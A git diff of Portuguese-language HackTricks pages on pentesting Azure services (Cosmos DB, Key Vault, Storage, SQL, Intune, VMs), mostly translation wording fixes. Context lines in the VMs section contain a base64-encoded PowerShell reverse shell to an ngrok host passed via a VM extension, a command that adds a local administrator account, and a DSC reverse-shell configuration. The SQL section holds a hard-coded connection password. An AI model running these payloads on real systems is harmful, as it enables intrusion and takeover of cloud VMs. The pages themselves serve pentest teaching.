([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas ao bloquear contas quando várias tentativas de login malsucedidas ocorrem**.\ Também permite **proibir uma lista de senhas personalizadas** que você precisa fornecer. Pode ser **aplicada tanto** no nível da nuvem quanto no Active Directory local. diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 25ac3dff3..3dbd24135 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -33,7 +33,7 @@ https://.documents.azure.com:443/ {% endcode %} #### Bancos de Dados -Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada para contêineres individuais. +Dentro de uma conta, você pode criar um ou mais bancos de dados, que servem como agrupamentos lógicos de contêineres. Um banco de dados atua como um limite para gerenciamento de recursos e permissões de usuário. Os bancos de dados podem compartilhar a capacidade provisionada entre seus contêineres ou alocar capacidade dedicada a contêineres individuais. #### Contêineres A unidade central de armazenamento de dados é o contêiner, que contém documentos JSON e é automaticamente indexado para consultas eficientes. Os contêineres são escaláveis de forma elástica e distribuídos entre partições, que são determinadas por uma chave de partição definida pelo usuário. A chave de partição é crítica para garantir desempenho ideal e distribuição uniforme de dados. Por exemplo, um contêiner pode armazenar dados de clientes, com "customerId" como a chave de partição. @@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name --contai {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.CosmosD # List all Cosmos DB accounts in a specified resource group. @@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name --source {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash Get-AzStorageAccount # List File Shares @@ -90,11 +90,11 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor Estes são os scripts propostos pelo Azure no momento da escrita para conectar um File Share: -Você precisa substituir os espaços reservados ``, `` e ``. +Você precisa substituir os placeholders ``, `` e ``. {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index 0549127c1..8f5fcc5c0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -4,7 +4,7 @@ ## Informações Básicas -**Azure Key Vault** é um serviço de nuvem fornecido pela Microsoft Azure para armazenar e gerenciar informações sensíveis de forma segura, como **segredos, chaves, certificados e senhas**. Ele atua como um repositório centralizado, oferecendo acesso seguro e controle detalhado usando o Azure Active Directory (Azure AD). Do ponto de vista de segurança, o Key Vault fornece **proteção de módulo de segurança de hardware (HSM)** para chaves criptográficas, garante que os segredos sejam criptografados tanto em repouso quanto em trânsito, e oferece gerenciamento de acesso robusto por meio de **controle de acesso baseado em função (RBAC)** e políticas. Também possui **registro de auditoria**, integração com o Azure Monitor para rastreamento de acesso e rotação automática de chaves para reduzir o risco de exposição prolongada de chaves. +**Azure Key Vault** é um serviço de nuvem fornecido pela Microsoft Azure para armazenar e gerenciar informações sensíveis de forma segura, como **segredos, chaves, certificados e senhas**. Ele atua como um repositório centralizado, oferecendo acesso seguro e controle detalhado usando o Azure Active Directory (Azure AD). Do ponto de vista de segurança, o Key Vault fornece **proteção de módulo de segurança de hardware (HSM)** para chaves criptográficas, garante que os segredos sejam criptografados tanto em repouso quanto em trânsito, e oferece gerenciamento de acesso robusto por meio de **controle de acesso baseado em função (RBAC)** e políticas. Ele também possui **registro de auditoria**, integração com o Azure Monitor para rastreamento de acesso e rotação automática de chaves para reduzir o risco de exposição prolongada de chaves. Veja a [visão geral da API REST do Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) para detalhes completos. @@ -19,7 +19,7 @@ Onde: - `object-name` é o nome **único** do objeto dentro do cofre de chaves - `object-version` é gerado pelo sistema e opcionalmente usado para endereçar uma **versão única de um objeto**. -Para acessar os segredos armazenados no cofre, é possível escolher entre 2 modelos de permissões ao criar o cofre: +Para acessar os segredos armazenados no cofre, é possível selecionar entre 2 modelos de permissões ao criar o cofre: - **Política de acesso ao cofre** - **Azure RBAC** (mais comum e recomendado) @@ -56,7 +56,7 @@ Além disso, é possível criar um **endpoint privado** para permitir uma conex Quando um cofre de chaves é criado, o número mínimo de dias para permitir a exclusão é 7. O que significa que sempre que você tentar excluir esse cofre de chaves, ele precisará **de pelo menos 7 dias para ser excluído**. -No entanto, é possível criar um cofre com **proteção contra purga desativada**, o que permite que o cofre de chaves e os objetos sejam purgados durante o período de retenção. Embora, uma vez que essa proteção esteja habilitada para um cofre, não possa ser desativada. +No entanto, é possível criar um cofre com **proteção contra purga desativada**, o que permite que o cofre de chaves e os objetos sejam purgados durante o período de retenção. Embora, uma vez que essa proteção esteja habilitada para um cofre, não pode ser desativada. ## Enumeração @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/
-ou verificar o código na seção "**Visualização do código do Logic app**". +ou verificar o código na seção "**Visualização do código da Logic App**". ### Proteção SSRF -Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso. +Mesmo que você encontre a **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso. Por exemplo, algo como isso não retornará o token: ```bash @@ -47,7 +47,7 @@ az logic workflow identity show --name --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 67e5b08a1..413aa5936 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -29,7 +29,7 @@ O Azure Database for MySQL é um serviço de banco de dados relacional totalment - Oferece funcionalidade de parar/iniciar para economia de custos. ### Principais Recursos -* **Gerenciamento de Servidor**: O recurso **ad-admin** permite gerenciar administradores do Azure Active Directory (AAD) para servidores MySQL, proporcionando controle sobre o acesso administrativo via credenciais AAD, enquanto o recurso **identity** permite a atribuição e gerenciamento de Identidades Gerenciadas do Azure, oferecendo autenticação segura e sem credenciais para acessar recursos do Azure. +* **Gerenciamento de Servidor**: O recurso **ad-admin** permite gerenciar administradores do Azure Active Directory (AAD) para servidores MySQL, proporcionando controle sobre o acesso administrativo via credenciais AAD, enquanto o recurso **identity** possibilita a atribuição e gerenciamento de Identidades Gerenciadas do Azure, oferecendo autenticação segura e sem credenciais para acessar recursos do Azure. * **Gerenciamento de Ciclo de Vida**: opções para iniciar ou parar um servidor, excluir uma instância de servidor flexível, reiniciar um servidor para aplicar rapidamente alterações de configuração e aguardar para garantir que um servidor atenda a condições específicas antes de prosseguir com scripts de automação. * **Segurança e Rede**: pode gerenciar regras de firewall do servidor para acesso seguro ao banco de dados e desanexar configurações de rede virtual conforme necessário. * **Proteção de Dados e Backup**: inclui opções para gerenciar backups de servidores flexíveis para recuperação de dados, realizar restauração geográfica para recuperar um servidor em uma região diferente, exportar backups de servidores para uso externo (em Pré-visualização) e restaurar um servidor a partir de backup para um ponto específico no tempo. @@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.MySql # Get all flexible servers in a resource group @@ -176,6 +176,8 @@ az mysql flexible-server deploy run \ * Procure uma maneira de acessar com mysql flexible-server ad-admin para verificar se é um método de privesc + + {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 7509ed28a..5ea55883e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group " @@ -208,8 +208,8 @@ Get-AzSqlVM ### Conectar e executar consultas SQL -Você pode encontrar uma string de conexão (contendo credenciais) do exemplo [enumerando um Az WebApp](az-app-services.md): -```powershell +Você pode encontrar uma string de conexão (contendo credenciais) no exemplo [enumerando um Az WebApp](az-app-services.md): +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -228,7 +228,7 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` Você também pode usar sqlcmd para acessar o banco de dados. É importante saber se o servidor permite conexões públicas `az sql server show --name --resource-group `, e também se a regra do firewall permite que nosso IP acesse: -```powershell +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## Referências diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index d2448192a..4c6e34880 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -16,8 +16,8 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu **Opções de configuração de segurança**: - **Exigir transferência segura para operações da API REST**: Exigir TLS em qualquer comunicação com o armazenamento. -- **Permite habilitar acesso anônimo em contêineres individuais**: Caso contrário, não será possível habilitar acesso anônimo no futuro. -- **Habilitar acesso com chave da conta de armazenamento**: Caso contrário, o acesso com Chaves Compartilhadas será proibido. +- **Permitir acesso anônimo em contêineres individuais**: Caso contrário, não será possível habilitar o acesso anônimo no futuro. +- **Habilitar acesso à chave da conta de armazenamento**: Caso contrário, o acesso com Chaves Compartilhadas será proibido. - **Versão mínima do TLS**. - **Escopo permitido para operações de cópia**: Permitir de qualquer conta de armazenamento, de qualquer conta de armazenamento do mesmo inquilino Entra ou de conta de armazenamento com endpoints privados na mesma rede virtual. @@ -37,7 +37,7 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu **Opções de proteção de dados**: - **Restauração ponto a ponto para contêineres**: Permite restaurar contêineres para um estado anterior. -- Requer versionamento, feed de alterações e exclusão suave para serem habilitados. +- Exige versionamento, feed de alterações e exclusão suave de blobs para ser habilitado. - **Habilitar exclusão suave para blobs**: Habilita um período de retenção em dias para blobs excluídos (mesmo sobrescritos). - **Habilitar exclusão suave para contêineres**: Habilita um período de retenção em dias para contêineres excluídos. - **Habilitar exclusão suave para compartilhamentos de arquivos**: Habilita um período de retenção em dias para compartilhamentos de arquivos excluídos. @@ -53,7 +53,7 @@ As Contas de Armazenamento do Azure são serviços fundamentais no Microsoft Azu ### Endpoints de Armazenamento -
Serviço de ArmazenamentoEndpoint
Armazenamento de Blobshttps://<storage-account>.blob.core.windows.net

https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list
Armazenamento de Data Lakehttps://<storage-account>.dfs.core.windows.net
Azure Fileshttps://<storage-account>.file.core.windows.net
Armazenamento de Filashttps://<storage-account>.queue.core.windows.net
Armazenamento de Tabelashttps://<storage-account>.table.core.windows.net
+
Serviço de ArmazenamentoEndpoint
Armazenamento de Blobshttps://.blob.core.windows.net

https://.blob.core.windows.net/?restype=container&comp=list
Armazenamento de Data Lakehttps://.dfs.core.windows.net
Azure Fileshttps://.file.core.windows.net
Armazenamento de Filashttps://.queue.core.windows.net
Armazenamento de Tabelashttps://.table.core.windows.net
### Exposição Pública @@ -130,7 +130,7 @@ CanonicalizedResource; StringToSign = Date + "\n" CanonicalizedResource ``` -Então, para usar a chave, pode ser feito no cabeçalho de Autorização seguindo a sintaxe: +Então, para usar a chave, pode ser feito no cabeçalho Authorization seguindo a sintaxe: ```bash Authorization="[SharedKey|SharedKeyLite] :" #e.g. @@ -148,7 +148,7 @@ As Signaturas de Acesso Compartilhado (SAS) são URLs seguras e com tempo limita #### Tipos de SAS -- **SAS de delegação de usuário**: Isso é criado a partir de um **principal do Entra ID** que assinará o SAS e delegará as permissões do usuário para o SAS. Pode ser usado apenas com **armazenamento de blob e data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS de delegação de usuário gerados. +- **SAS de delegação de usuário**: Isso é criado a partir de um **principal do Entra ID** que assinará o SAS e delegará as permissões do usuário para o SAS. Pode ser usado apenas com **armazenamento de blob e data lake** ([docs](https://learn.microsoft.com/en-us/rest/api/storageservices/create-user-delegation-sas)). É possível **revogar** todos os SAS delegados gerados pelo usuário. - Mesmo que seja possível gerar um SAS de delegação com "mais" permissões do que as que o usuário possui. No entanto, se o principal não as tiver, não funcionará (sem privesc). - **SAS de serviço**: Isso é assinado usando uma das **chaves de acesso** da conta de armazenamento. Pode ser usado para conceder acesso a recursos específicos em um único serviço de armazenamento. Se a chave for renovada, o SAS deixará de funcionar. - **SAS de conta**: Também é assinado com uma das **chaves de acesso** da conta de armazenamento. Concede acesso a recursos em serviços de conta de armazenamento (Blob, Queue, Table, File) e pode incluir operações em nível de serviço. @@ -161,10 +161,10 @@ Uma URL SAS assinada como uma **delegação de usuário** se parece com isso: - `https://.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D` -Note alguns **http params**: +Note alguns **parâmetros http**: -- O **`se`** param indica a **data de expiração** do SAS -- O **`sp`** param indica as **permissões** do SAS +- O parâmetro **`se`** indica a **data de expiração** do SAS +- O parâmetro **`sp`** indica as **permissões** do SAS - O **`sig`** é a **assinatura** que valida o SAS #### Permissões do SAS @@ -175,7 +175,7 @@ Ao gerar um SAS, é necessário indicar as permissões que ele deve conceder. De ## Suporte a SFTP para Azure Blob Storage -O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH (SFTP), permitindo a transferência e gerenciamento seguro de arquivos diretamente para o Blob Storage sem exigir soluções personalizadas ou produtos de terceiros. +O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH (SFTP), permitindo transferência e gerenciamento seguro de arquivos diretamente para o Blob Storage sem exigir soluções personalizadas ou produtos de terceiros. ### Principais Recursos @@ -183,7 +183,7 @@ O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH - Segurança: O SFTP usa identidades de usuários locais para autenticação e não se integra com RBAC ou ABAC. Cada usuário local pode se autenticar via: - Senhas geradas pelo Azure - Pares de chaves SSH pública-privada -- Permissões Granulares: Permissões como Ler, Escrever, Deletar e Listar podem ser atribuídas a usuários locais para até 100 contêineres. +- Permissões Granulares: Permissões como Ler, Gravar, Excluir e Listar podem ser atribuídas a usuários locais para até 100 contêineres. - Considerações de Rede: Conexões SFTP são feitas através da porta 22. O Azure suporta configurações de rede como firewalls, endpoints privados ou redes virtuais para proteger o tráfego SFTP. ### Requisitos de Configuração @@ -193,19 +193,19 @@ O Azure Blob Storage agora suporta o Protocolo de Transferência de Arquivos SSH - Configuração do SFTP: - Habilitar SFTP na conta de armazenamento. - Criar identidades de usuários locais com permissões apropriadas. -- Configurar diretórios iniciais para usuários definirem sua localização inicial dentro do contêiner. +- Configurar diretórios pessoais para usuários definirem sua localização inicial dentro do contêiner. ### Permissões | Permissão | Símbolo | Descrição | | ---------------------- | ------ | ------------------------------------ | | **Ler** | `r` | Ler o conteúdo do arquivo. | -| **Escrever** | `w` | Fazer upload de arquivos e criar diretórios. | +| **Gravar** | `w` | Fazer upload de arquivos e criar diretórios. | | **Listar** | `l` | Listar conteúdos de diretórios. | -| **Deletar** | `d` | Deletar arquivos ou diretórios. | +| **Excluir** | `d` | Excluir arquivos ou diretórios. | | **Criar** | `c` | Criar arquivos ou diretórios. | -| **Modificar Propriedade** | `o` | Mudar o usuário ou grupo proprietário. | -| **Modificar Permissões** | `p` | Mudar ACLs em arquivos ou diretórios. | +| **Modificar Propriedade** | `o` | Alterar o usuário ou grupo proprietário. | +| **Modificar Permissões** | `p` | Alterar ACLs em arquivos ou diretórios. | ## Enumeração @@ -330,7 +330,7 @@ az storage account local-user list \ {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get storage accounts Get-AzStorageAccount | fl # Get rules to access the storage account diff --git a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md index 46e49548b..829a46443 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-table-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-table-storage.md @@ -4,7 +4,7 @@ ## Informações Básicas -**Azure Table Storage** é um armazenamento NoSQL de chave-valor projetado para armazenar grandes volumes de dados estruturados e não relacionais. Ele oferece alta disponibilidade, baixa latência e escalabilidade para lidar com grandes conjuntos de dados de forma eficiente. Os dados são organizados em tabelas, com cada entidade identificada por uma chave de partição e uma chave de linha, permitindo buscas rápidas. Suporta recursos como criptografia em repouso, controle de acesso baseado em função e assinaturas de acesso compartilhado para armazenamento seguro e gerenciado, adequado para uma ampla gama de aplicações. +**Azure Table Storage** é um armazenamento NoSQL de chave-valor projetado para armazenar grandes volumes de dados estruturados e não relacionais. Oferece alta disponibilidade, baixa latência e escalabilidade para lidar com grandes conjuntos de dados de forma eficiente. Os dados são organizados em tabelas, com cada entidade identificada por uma chave de partição e uma chave de linha, permitindo buscas rápidas. Suporta recursos como criptografia em repouso, controle de acesso baseado em função e assinaturas de acesso compartilhado para armazenamento seguro e gerenciado, adequado para uma ampla gama de aplicações. Não **existe um mecanismo de backup embutido** para o armazenamento de tabelas. @@ -12,19 +12,19 @@ Não **existe um mecanismo de backup embutido** para o armazenamento de tabelas. #### **PartitionKey** -- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho de consultas e escalabilidade. -- Exemplo: Em uma tabela que armazena dados de funcionários, `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`. +- O **PartitionKey agrupa entidades em partições lógicas**. Entidades com o mesmo PartitionKey são armazenadas juntas, o que melhora o desempenho das consultas e a escalabilidade. +- Exemplo: Em uma tabela que armazena dados de funcionários, o `PartitionKey` pode representar um departamento, por exemplo, `"RH"` ou `"TI"`. #### **RowKey** - O **RowKey é o identificador único** para uma entidade dentro de uma partição. Quando combinado com o PartitionKey, garante que cada entidade na tabela tenha um identificador globalmente único. -- Exemplo: Para a partição `"RH"`, `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`. +- Exemplo: Para a partição `"RH"`, o `RowKey` pode ser um ID de funcionário, por exemplo, `"12345"`. #### **Outras Propriedades (Propriedades Personalizadas)** - Além do PartitionKey e RowKey, uma entidade pode ter **propriedades personalizadas adicionais para armazenar dados**. Estas são definidas pelo usuário e atuam como colunas em um banco de dados tradicional. - As propriedades são armazenadas como **pares chave-valor**. -- Exemplo: `Nome`, `Idade`, `Título` poderiam ser propriedades personalizadas para um funcionário. +- Exemplo: `Nome`, `Idade`, `Título` podem ser propriedades personalizadas para um funcionário. ## Enumeração @@ -63,7 +63,7 @@ az storage entity merge \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # Get storage accounts Get-AzStorageAccount @@ -77,7 +77,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name -Reso > Por padrão, o `az` cli usará uma chave de conta para assinar uma chave e realizar a ação. Para usar os privilégios do principal do Entra ID, use os parâmetros `--auth-mode login`. > [!TIP] -> Use o parâmetro `--account-key` para indicar a chave de conta a ser usada\ +> Use o parâmetro `--account-key` para indicar a chave da conta a ser usada\ > Use o parâmetro `--sas-token` com o token SAS para acessar via um token SAS ## Escalação de Privilégios diff --git a/src/pentesting-cloud/azure-security/az-services/intune.md b/src/pentesting-cloud/azure-security/az-services/intune.md index 5873e0475..10549685d 100644 --- a/src/pentesting-cloud/azure-security/az-services/intune.md +++ b/src/pentesting-cloud/azure-security/az-services/intune.md @@ -4,17 +4,17 @@ ## Informações Básicas -Microsoft Intune é projetado para simplificar o processo de **gerenciamento de aplicativos e dispositivos**. Suas capacidades se estendem por uma ampla gama de dispositivos, abrangendo dispositivos móveis, computadores de mesa e pontos finais virtuais. A funcionalidade central do Intune gira em torno de **gerenciar o acesso do usuário e simplificar a administração de aplicativos** e dispositivos dentro da rede de uma organização. +Microsoft Intune é projetado para simplificar o processo de **gerenciamento de aplicativos e dispositivos**. Suas capacidades se estendem por uma ampla gama de dispositivos, abrangendo dispositivos móveis, computadores de mesa e pontos finais virtuais. A funcionalidade principal do Intune gira em torno de **gerenciar o acesso do usuário e simplificar a administração de aplicativos** e dispositivos dentro da rede de uma organização. ## Nuvem -> Local Um usuário com o papel de **Administrador Global** ou **Administrador do Intune** pode executar **scripts PowerShell** em qualquer **dispositivo Windows** registrado.\ O **script** é executado com **privilégios** de **SYSTEM** no dispositivo apenas uma vez, se não mudar, e a partir do Intune **não é possível ver a saída** do script. -```powershell +```bash Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'" ``` 1. Faça login em [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ou use Pass-The-PRT -2. Vá para **Dispositivos** -> **Todos os Dispositivos** para verificar os dispositivos registrados no Intune +2. Vá para **Dispositivos** -> **Todos os Dispositivos** para verificar os dispositivos inscritos no Intune 3. Vá para **Scripts** e clique em **Adicionar** para Windows 10. 4. Adicione um **script Powershell** - ![](<../../../images/image (264).png>) diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index 81d7f1c92..1684539ec 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -33,25 +33,25 @@ As Máquinas Virtuais (VMs) do Azure são servidores **baseados em nuvem flexív - **Alertas**: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão: - Porcentagem de CPU é maior que 80% - Bytes de Memória Disponível é menor que 1GB -- Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95% -- Porcentagem de IOPS do SO Consumidos é maior que 95% +- Porcentagem de IOPS Consumidos de Discos de Dados é maior que 95% +- Porcentagem de IOPS Consumidos do SO é maior que 95% - Rede Total é maior que 500GB - Rede Saída Total é maior que 200GB -- Métrica de Disponibilidade da VM é menor que 1 +- VmAvailabilityMetric é menor que 1 - **Monitor de Saúde**: Por padrão, verifica o protocolo HTTP na porta 80 - **Bloqueios**: Permite bloquear uma VM para que ela possa ser apenas lida (**Bloqueio Somente Leitura**) ou que possa ser lida e atualizada, mas não excluída (**Bloqueio Não Pode Excluir**). - A maioria dos recursos relacionados a VM **também suporta bloqueios** como discos, instantâneas... -- Os bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** +- Bloqueios também podem ser aplicados em **níveis de grupo de recursos e assinatura** ## Discos & instantâneas - É possível **habilitar a anexação de um disco a 2 ou mais VMs** - Por padrão, cada disco é **criptografado** com uma chave da plataforma. -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas - Por padrão, é possível **compartilhar o disco de todas as redes**, mas também pode ser **restrito** a apenas certos **acessos privados** ou **desativar completamente** o acesso público e privado. -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas - É possível **gerar um URI SAS** (de no máximo 60 dias) para **exportar o disco**, que pode ser configurado para exigir autenticação ou não -- O mesmo se aplica às instantâneas +- O mesmo se aplica a instantâneas {{#tabs}} {{#tab name="az cli"}} @@ -64,7 +64,7 @@ az disk show --name --resource-group ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List all disks Get-AzDisk @@ -116,7 +116,7 @@ az restore-point collection show --collection-name --resource- ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash ## List all galleries and get info about one Get-AzGallery Get-AzGallery -Name -ResourceGroupName @@ -180,7 +180,7 @@ az network bastion rdp \ ``` {{#endtab}} {{#tab name="PowerShell"}} -```powershell +```bash # List bastions Get-AzBastion ``` @@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[] az vm run-command list --output table ``` -```powershell +```bash # Get readable VMs Get-AzVM | fl # Lis running VMs @@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # It takes some mins to run Get-AzVMExtensionImage -Location -PublisherName -Type ``` @@ -509,7 +509,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}' ``` -- Execute reverse shell a partir de um arquivo +- Execute reverse shell a partir de arquivo ```bash az vm extension set \ --resource-group \ @@ -523,7 +523,7 @@ az vm extension set \ Você também pode executar outras cargas úteis como: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Redefinir senha usando a extensão VMAccess -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -540,7 +540,7 @@ A permissão necessária ainda é **`Microsoft.Compute/virtualMachines/extension Extensão VMAccess Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredStateConfiguration (DSC) Esta é uma **extensão de VM** que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para **executar comandos arbitrários** em VMs Windows através desta extensão: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { @@ -601,7 +601,7 @@ Set-AzVMDscExtension `
